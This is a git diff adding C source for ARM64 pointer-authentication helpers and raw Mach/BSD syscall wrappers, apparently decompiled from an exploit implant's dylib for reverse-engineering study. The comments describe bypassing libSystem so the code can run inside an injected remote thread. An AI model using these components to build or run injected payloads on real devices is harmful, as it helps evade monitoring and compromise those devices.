b/src/entry2/pac.c @@ -0,0 +1,99 @@ +/* + * pac.c - Pointer Authentication Code utilities + * + * Decompiled from entry2_type0x0f.dylib offsets 0x861c–0x8664 + * These are nearly identical to bootstrap.dylib's PAC helpers. + */ + +#include "entry2.h" + +/* ── Raw PAC instruction wrappers (0x861c–0x8638) ────────────────── */ + +/* 0x861c: pacia x0, x1; ret */ +__attribute__((noinline)) +uint64_t e2_pacia(uint64_t ptr, uint64_t ctx) +{ + __asm__ volatile("pacia %0, %1" : "+r"(ptr) : "r"(ctx)); + return ptr; +} + +/* 0x8624: pacda x0, x1; ret */ +__attribute__((noinline)) +uint64_t e2_pacda(uint64_t ptr, uint64_t ctx) +{ + __asm__ volatile("pacda %0, %1" : "+r"(ptr) : "r"(ctx)); + return ptr; +} + +/* 0x862c: pacib x0, x1; ret */ +__attribute__((noinline)) +uint64_t e2_pacib(uint64_t ptr, uint64_t ctx) +{ + __asm__ volatile("pacib %0, %1" : "+r"(ptr) : "r"(ctx)); + return ptr; +} + +/* 0x8634: pacdb x0, x1; ret */ +__attribute__((noinline)) +uint64_t e2_pacdb(uint64_t ptr, uint64_t ctx) +{ + __asm__ volatile("pacdb %0, %1" : "+r"(ptr) : "r"(ctx)); + return ptr; +} + +/* ── e2_check_pac (0x863c) ───────────────────────────────────────── * + * Tests if Pointer Authentication is active by loading a known value + * into LR, stripping it with xpaclri, and comparing. + * + * Returns 1 if PAC is active (values differ), 0 if not. + */ +int e2_check_pac(void) +{ + uint64_t test = 0xAAAAAAAAAAAAAAAAULL; + uint64_t result; + + __asm__ volatile( + "stp x29, x30, [sp, #-0x10]!\n" + "mov x30, %1\n" /* load known value into LR */ + "xpaclri\n" /* strip PAC bits from LR */ + "mov %0, x30\n" /* save result */ + "ldp x29, x30, [sp], #0x10\n" + : "=r"(result) + : "r"(test) + : "memory" + ); + return (result != test) ? 1 : 0; +} + +/* ── e2_strip_pac (0x19f4c) ──────────────────────────────────────── * + * Strips PAC bits from a pointer using xpaclri. + */ +uint64_t e2_strip_pac(uint64_t ptr) +{ + uint64_t result; + __asm__ volatile( + "mov x30, %1\n" + "xpaclri\n" + "mov %0, x30\n" + : "=r"(result) + : "r"(ptr) + : "x30" + ); + return result; +} + +/* ── e2_sign_pointer (0x19f68) ───────────────────────────────────── * + * Conditionally PAC-signs a pointer with PACIA. + * If PAC is available, signs ptr with ctx=0 (paciza). + * If not, returns the raw pointer. + * + * Note: at 0x19f68, it calls 0x863c (check) and 0x861c (pacia). + * If PAC is active, it tail-calls the actual sign function at 0x861c. + */ +uint64_t e2_sign_pointer(uint64_t ptr, uint64_t ctx) +{ + if (e2_check_pac()) { + return e2_pacia(ptr, ctx); + } + return ptr; +} diff --git a/src/entry2/traps.c b/src/entry2/traps.c new file mode 100644 index 0000000..7b72f4e --- /dev/null +++ b/src/entry2/traps.c @@ -0,0 +1,178 @@ +/* + * traps.c - Raw Mach trap syscall wrappers + * + * Decompiled from entry2_type0x0f.dylib offsets 0x6000–0x60a0 + * + * These bypass libSystem entirely, issuing svc #0x80 directly. + * This is done to avoid symbol resolution / interposition and to + * work in contexts where libSystem may not be fully initialized + * (e.g., inside a freshly-injected remote thread). + */ + +#include "entry2.h" + +/* ── 0x6000: BSD syscall 360 — guarded_open_dprotected_np ─────────── * + * Opens a file with data-protection class, guarded by a guard value. + * + * svc #0x80 with x16 = 0x168 (360) + */ +int64_t e2_trap_guarded_open(uint64_t guard, uint64_t path, + uint64_t guardflags, uint64_t flags) +{ + register uint64_t x0 __asm__("x0") = guard; + register uint64_t x1 __asm__("x1") = path; + register uint64_t x2 __asm__("x2") = guardflags; + register uint64_t x3 __asm__("x3") = flags; + register uint64_t x16 __asm__("x16") = 0x168; + + __asm__ volatile( + "svc #0x80\n" + "mov x1, xzr\n" + "b.lo 1f\n" + "mov x1, x0\n" + "mov x0, #-1\n" + "1:\n" + : "+r"(x0), "+r"(x1) + : "r"(x2), "r"(x3), "r"(x16) + : "memory", "cc" + ); + return (int64_t)x0; +} + +/* ── 0x601c: BSD syscall 361 — guarded_write_np ──────────────────── * + * + * svc #0x80 with x16 = 0x169 (361) + */ +int64_t e2_trap_guarded_write(uint64_t guard, uint64_t fd, + uint64_t buf, uint64_t nbyte) +{ + register uint64_t x0 __asm__("x0") = guard; + register uint64_t x1 __asm__("x1") = fd; + register uint64_t x2 __asm__("x2") = buf; + register uint64_t x3 __asm__("x3") = nbyte; + register uint64_t x16 __asm__("x16") = 0x169; + + __asm__ volatile( + "svc #0x80\n" + "mov x1, xzr\n" + "b.lo 1f\n" + "mov x1, x0\n" + "mov x0, #-1\n" + "1:\n" + : "+r"(x0), "+r"(x1) + : "r"(x2), "r"(x3), "r"(x16) + : "memory", "cc" + ); + return (int64_t)x0; +} + +/* ── 0x6038: Mach trap -24 — mach_reply_port ─────────────────────── */ +mach_port_t e2_trap_mach_reply_port(void) +{ + register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-24); + register uint64_t x0 __asm__("x0"); + + __asm__ volatile("svc #0x80" : "=r"(x0) : "r"(x16) : "memory"); + return (mach_port_t)x0; +} + +/* ── 0x6044: Mach trap -26 — thread_self_trap ────────────────────── */ +mach_port_t e2_trap_thread_self(void) +{ + register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-26); + register uint64_t x0 __asm__("x0"); + + __asm__ volatile("svc #0x80" : "=r"(x0) : "r"(x16) : "memory"); + return (mach_port_t)x0; +} + +/* ── 0x6050: Mach trap -27 — task_self_trap ──────────────────────── */ +mach_port_t e2_trap_task_self(void) +{ + register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-27); + register uint64_t x0 __asm__("x0"); + + __asm__ volatile("svc #0x80" : "=r"(x0) : "r"(x16) : "memory"); + return (mach_port_t)x0; +} + +/* ── 0x605c: Mach trap -28 — host_self_trap ──────────────────────── */ +mach_port_t e2_trap_host_self(void) +{ + register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-28); + register uint64_t x0 __asm__("x0"); + + __asm__ volatile("svc #0x80" : "=r"(x0) : "r"(x16) : "memory"); + return (mach_port_t)x0; +} + +/* ── 0x6068: Mach trap -18 — _kernelrpc_mach_port_deallocate_trap ── */ +kern_return_t e2_trap_port_dealloc(mach_port_t task, mach_port_t port) +{ + register uint64_t x0 __asm__("x0") = task; + register uint64_t x1 __asm__("x1") = port; + register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-18); + + __asm__ volatile("svc #0x80" : "+r"(x0) : "r"(x1), "r"(x16) : "memory"); + return (kern_return_t)x0; +} + +/* ── 0x6074: Mach trap -31 — mach_msg_trap ───────────────────────── */ +kern_return_t e2_trap_mach_msg(void *msg, uint32_t option, uint32_t send_size, + uint32_t rcv_size, mach_port_t rcv_name, + uint32_t timeout, mach_port_t notify) +{ + register uint64_t x0 __asm__("x0") = (uint64_t)msg; + register uint64_t x1 __asm__("x1") = option; + register uint64_t x2 __asm__("x2") = send_size; + register uint64_t x3 __asm__("x3") = rcv_size; + register uint64_t x4 __asm__("x4") = rcv_name; + register uint64_t x5 __asm__("x5") = timeout; + register uint64_t x6 __asm__("x6") = notify; + register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-31); + + __asm__ volatile("svc #0x80" + : "+r"(x0) + : "r"(x1), "r"(x2), "r"(x3), "r"(x4), "r"(x5), "r"(x6), "r"(x16) + : "memory"); + return (kern_return_t)x0; +} + +/* ── 0x6080: Mach trap -47 — pid_for_task ────────────────────────── */ +int e2_trap_pid_for_task(mach_port_t task) +{ + register uint64_t x0 __asm__("x0") = task; + register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-47); + + __asm__ volatile("svc #0x80" : "+r"(x0) : "r"(x16) : "memory"); + return (int)x0; +} + +/* ── 0x608c: Mach trap -12 — _kernelrpc_mach_vm_deallocate_trap ──── */ +kern_return_t e2_trap_vm_dealloc(mach_port_t task, uint64_t addr, uint64_t size) +{ + register uint64_t x0 __asm__("x0") = task; + register uint64_t x1 __asm__("x1") = addr; + register uint64_t x2 __asm__("x2") = size; + register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-12); + + __asm__ volatile("svc #0x80" : "+r"(x0) : "r"(x1), "r"(x2), "r"(x16) : "memory"); + return (kern_return_t)x0; +} + +/* ── 0x6098: Mach trap -19 — _kernelrpc_mach_port_mod_refs_trap ──── */ +kern_return_t e2_trap_port_mod_refs(mach_port_t task, mach_port_t port, + uint32_t right, int32_t delta) +{ + register uint64_t x0 __asm__("x0") = task; + register uint64_t x1 __asm__("x1") = port; + register uint64_t x2 __asm__("x2") = right; + register uint64_t x3 __asm__("x3") = (uint64_t)(int64_t)delta; + register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-19); + + __asm__ volatile("svc #0x80" + : "+r"(x0) + : "r"(x1), "r"(x2), "r"(x3), "r"(x16) + : "memory"); + return (kern_return_t)x0; +}